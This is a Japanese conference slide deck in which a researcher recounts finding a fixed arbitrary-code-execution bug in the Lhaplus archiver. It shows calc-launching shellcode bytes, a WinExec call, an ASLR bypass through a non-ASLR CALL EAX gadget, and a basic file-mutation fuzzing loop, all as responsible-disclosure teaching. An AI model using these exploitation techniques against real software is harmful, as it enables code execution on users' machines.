Upload
masato-kinugawa
View
7.299
Download
0
Embed Size (px)
Citation preview
いでよ、電卓!ZIP
👆Click
Click
IDEYO_CALC.zip
Masato Kinugawa
自己紹介(1)
• Masato Kinugawa
• 脆弱性を発見することが好き
• 学生ではない
http://labs.cybozu.co.jp/recruit/youth.html
自己紹介(2)
• 普段は家で脆弱性を探してお金を稼ぐ人• サイボウズにもいつもお世話になっております
サイボウズ・ラボユースとはサイボウズ・ラボユースは、世界に通用する日本の若手エンジニアの発掘と育成を目指すことを目的とし、学生の若手クリエイターに研究開発の機会を提供する場として、2011年3月31日に設立されました。
2011年度、2012年度、2013年度、2014年度では、日本全国より応募のあった中から高校生1名、工業高校生1名、大学生7名、大学院生4名、バグハンター1名、合計14名を選抜し、サイボウズ・ラボの社員が直々に開発を指導し、それぞれの研究テーマに取り組んでいただきました。
https://atnd.org/events/64358
これまでやってきたこと
脆弱なサイト
alert()の実行!
これからやりたいこと
脆弱なEXE
電卓の実行!
当初のテーマ
「Webアプリケーションの脆弱性発見」
そのきっかけとは ➡
東京体験・出社体験しながら、ガツガツWebの脆弱性を
発見するぞ~
ところがなぜかアセンブリ言語を学ぶことに…
僕
最初の数日
• ちょうどAdobe Flashの脆弱性をみていたのでその続きを追うことにした
(このバグは後日CVE-2014-0548として修正)
• メモリ関連のバグを追っていた訳ではなかったが検証中に…
_人人人人人人人_>突然のクラッシュ< ̄Y^Y^Y^Y^Y^Y^Y^Y ̄
竹迫さん
このとき
バイナリ関連の脆弱性も発見できるようになりたいんですよねー
ここで勉強すればいいじゃないですか
僕
竹迫さん
このとき
バイナリ関連の脆弱性も発見できるようになりたいんですよねー
ここで勉強すればいいじゃないですか
僕
それからのラボユース
• ずっとアセンブリ言語読んでた
• 教科書「リバースエンジニアリングバイブル」
ラボユース終了 月日は流れ
2014年11月
某Androidアプリ(.apk)の中をみようと
拡張子を.zipに変更し
普段使うアーカイバで解凍中に…
_人人人人人人人_>突然のクラッシュ< ̄Y^Y^Y^Y^Y^Y^Y^Y ̄
注意
これ以降、現在報告中の現時点で修正されていない問題を解説します。具体的な問題箇所はわからないように配慮しています。
http://jvn.jp/jp/JVN12329472/index.html
修正されました!
JVN#12329472: Lhaplus において任意のコードを実行される脆弱性
おや、クラッシュのようすが…
ZIPのバイナリ
50 4B 03 04...
41 41 41 41CC 4A 1F 0B
...
EAX = 41414141
;ここで 41414141+C のアドレスをReadしてクラッシュ
MOV EAX,DWORD PTR DS:[EAX+C]
悪用できそうな空気
おや、クラッシュのようすが…
;ここで 41414141+C のアドレスをReadしてクラッシュ
MOV EAX,DWORD PTR DS:[EAX+C]
50 4B 03 04...
41 41 41 41CC 4A 1F 0B
...
EAX = 41414141 ZIPのバイナリ
友人バグハンターに相談悪用できそうな空気
悪用できそうな空気
悪用できそうな空気
悪用できそうな空気
これ、CALLの部分でおちてない?
どうもデバッガでアタッチしない状態で解凍をはじめるとおちる位置が変わる
友
MOV EBP,DWORD PTR DS:[EAX]CALL DWORD PTR SS:[EBP+10] ;crash!
そして...
• 友人がXP上で電卓起動に成功!
• でもXPは既にMicrosoftがサポートを終了している• 悪用可能なことの証明とはいいがたい
自力で新しいWindowsでも実行できるよう頑張る!
🔥よみがえるバイナリ熱
最近のWindowsにあるASLR
• 配置されるメモリ位置をランダムにする機能• これにより狙ったメモリを実行することが困難に
• 今回のアプリは開発者が明示的にASLRを指定していなかったので、一部はランダムでない
ワンチャン有る?!
XPで起きたこと振り返り
XPで起きたこと
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
ZIPのバイナリ
...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
いつも同じアドレスにZIPファイルのバイナリ
が配置される
XPで起きたこと
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
ZIPのバイナリ
...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
いつも同じアドレスにZIPファイルのバイナリ
が配置される
XPで起きたこと
37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
ZIPのバイナリ
...37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
いつも同じアドレスにZIPファイルのバイナリ
が配置される
XPで起きたこと
37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
紆余曲折を経てクラッシュした
命令へ
XPで起きたこと
37 C6 E0 2B 34 FB 2A 43 6C 5E 22 86 3C 3C 25 6A 55 6A E3 1B DB 75 B1 8C F5 46 50 …
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
紆余曲折を経てクラッシュした
命令へ このときのCALL先を決めているEAXはいつも
ここを指す
XPで起きたこと
04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
ZIPのバイナリ
...04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …
CALL先をうまく変え好きな命令を実行するようZIPのバイナリを編集してみる
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
XPで起きたこと
04 XX XX XX 18 XX XX XX6A 00 68 63 61 6C 63 8BDC 6A 01 53 E8 YY YY YYYY 46 50 …
メモリ
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
EBPへコピーされる値逆さにして
EBP = XX XX XX 04
XPで起きたこと
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
EBP+10はここで
XPで起きたこと
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
EBP+10はここで
その中身はこれXX XX XX 18 (= 次実行するアドレス)
XPで起きたこと
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
CALLでとぶアドレスはここなので
XPで起きたこと
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
CALLでとぶアドレスはここなので 次実行されるのはここから
(自分が指定した命令!)
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
命令に直すと
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
PUSH 0
(文字列の終端)
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
PUSH 636C6163
(calc という文字列)
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
MOV EBX,ESP
EBX
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
1 PUSH 1
EBX
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
1
PointerPUSH EBX
EBX
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
1
Pointer
WinExec関数は
引数1 コマンド文字列へのポインタ引数2 表示状態
とするとコマンドが実行できる
スタック
XPで起きたこと
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
0
636C6163
1
Pointer
ASLRがあると
XXXXXX18 |6A 00 PUSH 0
XXXXXX1A |68 63616C63 PUSH 636C6163
XXXXXX1F |8BDC MOV EBX,ESP
XXXXXX21 |6A 01 PUSH 1
XXXXXX23 |53 PUSH EBX
XXXXXX24 |E8 YYYYYYYY CALL kernel32.WinExec
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
XXXXXX10 |XXXXXX14 |XXXXXX18 |XXXXXX1C |XXXXXX20 |XXXXXX24 |
メモリ
➊このアドレスが毎回変わる
❷WinExecの位置が変わる
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
メモリ
???????? |???????? |???????? |???????? |???????? |???????? |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
アドレスは変わるがEAXは必ずここ
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
メモリ
???????? |???????? |???????? |???????? |???????? |???????? |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
アドレスは変わるがEAXは必ずここ
それならJMP EAX/CALL EAXみたいな部分にこの
CALLでとべば...
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
メモリ
???????? |???????? |???????? |???????? |???????? |???????? |
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
それならJMP EAX/CALL EAXみたいな部分にこの
CALLでとべば... ここから実行するからなんだかできそう!
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
JMP EAX = FF E0CALL EAX = FF D0
になるのでこのバイト値を検索
00666666 | FF D0 …|
ASLRなしのどこか
CALL EAXがあった!
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
JMP EAX = FF E0CALL EAX = FF D0
になるのでこのバイト値を検索
00666666 | FF D0 …|
ASLRなしのどこか
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
こうとびたい CALL EAX
00666666 | FF D0 …|
ASLRなしのどこか
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
こうとびたい
00666666が入ってる場所があればいけそう
CALL EAX
00666666 | FF D0 …|
➊への対処
04 XX XX XX18 XX XX XX6A 00 68 6361 6C 63 8BDC 6A 01 53E8 YY YY YYYY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
あった!
CALL EAX
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
数をあわせる
CALL EAX
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
EBP = 00 55 55 45
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
EBP = 00 55 55 45EBP+10 = 00 55 55 55
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
EBP = 00 55 55 45EBP+10 = 00 55 55 55
CALL先 = 00 66 66 66
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
EBP = 00 55 55 45EBP+10 = 00 55 55 55
CALL先 = 00 66 66 66
00666666 | FF D0 …|
➊への対処
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
MOV EBP,DWORD PTR DS:[EAX]
CALL DWORD PTR SS:[EBP+10]
66 66 66 00…
00555555 |00555559 |ASLR
なしのどこか
CALL EAX
EBP = 00 55 55 45EBP+10 = 00 55 55 55
CALL先 = 00 66 66 66
➊への対処
???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
アドレスに使ったところが
命令になる
命令に直すと↓
➊への対処
???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...
45 55 55 006A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50 …
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
ここは命令としておかしい
➊への対処
???????? |45 INC EBP???????? |55 PUSH EBP???????? |55 PUSH EBP???????? |00FF ADD BH,BH???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP...
45 55 55 00FF 6A 00 68 63 61 6C 63 8B DC 6A 01 53 E8 YY YY YY YY 46 50
???????? |???????? |???????? |???????? |???????? |???????? |
メモリ
これで有効な命令に!
適当にたした
❷への対処(WinExecが不明)ASLRがきいていない部分にWinExecを呼び出している箇所があった!そこへとべば解決!
00444444| CALL <JMP.&kernel32.WinExec>
???????? |6A 00 PUSH 0???????? |68 63616C63 PUSH 636C6163???????? |8BDC MOV EBX,ESP???????? |6A 01 PUSH 1???????? |53 PUSH EBX???????? |E8 YYYYYYYY CALL kernel32.WinExec???????? |68 00444444 PUSH 44444400???????? |C3 RETN
証明はできた!
IPAを通して報告!
後日
ファイルがでかすぎて開発者が問題箇所を特定できないと思います…
IPA
実証コードは 15MB以上...
(元ファイルを攻撃可能なように改変しただけ)
できれば小さくしたかったが...
もう一度頑張る• ひたすら動的解析
• アセンブリだけみててもキツイのでZIPの構造を調べる
その結果• ある領域が特定のバイト値になっていると脆弱なルーチンに到達することを発見
• これが鍵になり 15MB → 12KBの減量に成功!
もっと頑張る
• 同アーカイバは多数の圧縮フォーマットをサポート
• こんなにあればどれかには穴があるのでは?
rar
cab
arj
lzh
zoo
ZIP
Fuzzingすることに
• Fuzzingは脆弱性発見手法の1つ
• 非常に参考になる本:
簡単にFuzzingする
1 対応フォーマットの小さなファイルを用意
簡単にFuzzingする
2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る
FF 4B 03 04 0A …50 4B 03 04 0A …base.zip
test0.zip
簡単にFuzzingする
2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る
50 FF 03 04 0A …FF 4B 03 04 0A …50 4B 03 04 0A …base.zip
test0.ziptest1.zip
簡単にFuzzingする
2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る
50 FF 03 04 0A …50 4B FF 04 0A …
FF 4B 03 04 0A …50 4B 03 04 0A …base.zip
test0.ziptest1.ziptest2.zip
簡単にFuzzingする
2 ファイルの先頭から順番にわずかにファイルの中身を変えたものを作る
50 FF 03 04 0A …50 4B FF 04 0A …50 4B 03 FF 0A …
FF 4B 03 04 0A …50 4B 03 04 0A …
…base.ziptest0.ziptest1.ziptest2.ziptest3.zip
簡単にFuzzingする
3 アーカイバにくわせクラッシュしないか見る
50 FF 03 04 0A …50 4B FF 04 0A …50 4B 03 FF 0A …
FF 4B 03 04 0A …50 4B 03 04 0A …
…base.ziptest0.ziptest1.ziptest2.ziptest3.zip
👀
簡単にFuzzingする[作成] Python(ただバイトを変えるだけ)
[起動] バッチファイル(起動/終了を繰り返すだけ)
超単純だが (悪用可能かどうかは別として)様々なソフトで試すと結構クラッシュにぶつかる
for %%d in (*.zip) do start "" target.exe "%%d"&timeout 5&taskkill /IM target.exe
同アーカイバで悪用可能なクラッシュも検出!
その圧縮フォーマットとは... ➡
ZOO
一番ヒントになったzoo展開のソース
http://archives.math.utk.edu/software/multi-platform/gap/util/unzoo.c
情報が少なくて厳しい
なんとかある領域が原因であることを特定
今後の展望
【目標】年内にメモリ関連のバグで報奨金を得る
そのために:
• C/C++プログラミングの理解(ソースコードを想像できないと輪郭が掴み辛い)
• アセンブリ言語を読む、読む、読む
• もう少し賢いファジングをしたい• 実行した経路(コード網羅率)を記録し、観察すると
いいそうなので注目中
ラボユース ~ 現在
バイナリも少しできる(?)人
Webしかできない人
電卓起動しまくるぞっ!
@kinugawamasato
✉ masatokinugawa [at] gmail.com
Thanks!